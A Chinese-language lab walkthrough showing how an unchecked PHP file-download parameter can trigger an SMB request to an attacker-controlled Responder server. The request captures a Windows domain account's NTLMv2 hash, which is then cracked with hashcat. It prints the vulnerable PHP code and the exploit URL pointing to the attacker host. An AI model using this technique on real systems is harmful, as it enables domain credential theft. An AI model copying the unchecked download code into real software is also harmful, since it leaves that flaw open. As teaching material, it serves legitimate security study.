大家好,本篇文章我们将会演示利用文件下载漏洞来窃取NTLMv2哈希值。在这个演示的场景中,web应用部署在Windows AD域的其中一台主机上,并允许用户在不检查其路径的情况下下载文件。
攻击者可以利用这个文件下载漏洞来触发对攻击者控制的服务器发出请求,而攻击者控制的服务器中安装并运行着“Responder”工具,可以从服务器中窃取NTLMv2哈希值。“Responser”工具的“SMB认证服务器”功能会强制获取目标服务器的NTLMv2的哈希值,有了这个哈希值之后,可以用来做如下事情:
1.对任何“SMB签名已禁用”的Windows主机执行中继攻击。
2.攻击者可以利用哈希破解工具如hashcat来破解这个值。
我们先从存在文件下载漏洞的web应用开始,发出SMB请求去下载远程主机上的文件。存在漏洞的php文件代码如下:
<?php function file_download($download) { if(file_exists($download)) { header("Content-Description: File Transfer"); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); header('Content-Disposition: attachment; filename="'.basename($download).'"'); header('Content-Length: ' . filesize($download)); header('Content-Type: application/octet-stream'); ob_clean(); flush(); readfile ($download); } else { echo "<script>alert('file not found');</script>"; } } $file_name=trim($_GET['file']); file_download($file_name); ?>
发起的请求如下:
http://192.168.56.200:8080/file.php?file=any_file.txt
php脚本会下载我们指定的任意文件,只要该文件存在于系统中。
脚本允许使用相对路径和绝对路径,我们可以利用这一点,将向运行着Responder工具的远程主机发起SMB请求。
假如,允许用户下载文件的实际请求如下:
http://192.168.56.200:8080/file.php?file=box.html
我的那台运行着Responder工具的服务器IP地址是192.168.56.102
现在通过漏洞参数向我的服务器发起SMB请求,请求如下:
http://target_web_server/vulnerable_script.php?parameter=\\Responder_server_IP\any_file.txt
这里,目标web服务器的IP是192.168.56.200:8080,file.php文件的file参数存在漏洞,Responder服务器IP是192.168.56.102,那么完整的请求URL是:
http://192.168.56.200:8080/file.php?file=\\192.168.56.102\box.html
如果一切执行顺利的话,Responder会捕获到目标服务器的NTLMv2哈希值,如图:
上面的截图中可以看到Responder已经捕获到目标服务器的哈希值了,并且目标web服务器是以Windows活动目录的权限运行的,用户名是“user3”。
现在,我们就可以来破解这个哈希值并获取明文密码了。Hashcat这款工具对于破解哈希来说堪称神奇,破解速度也是最快的。它支持CPU/GPU哈希破解,同时也支持多种格式的哈希值破解。Hashcat工具官方下载地址如下:
我们需要下载一个强大的密码字典,这里也给大家提供一个字典的下载地址:https://hashkiller.co.uk/downloads.aspx
下完之后,我们就运行Hashcat,然后等待,运气好的话就能破解出来,运行结果如图:
如图可见,Hashcat破解出了NTLMv2哈希值的明文密码,现在我们拥有了一个域用户的凭证,我们就可以玩转Windows活动目录了。
好了,本文内容分享结束,谢谢大家。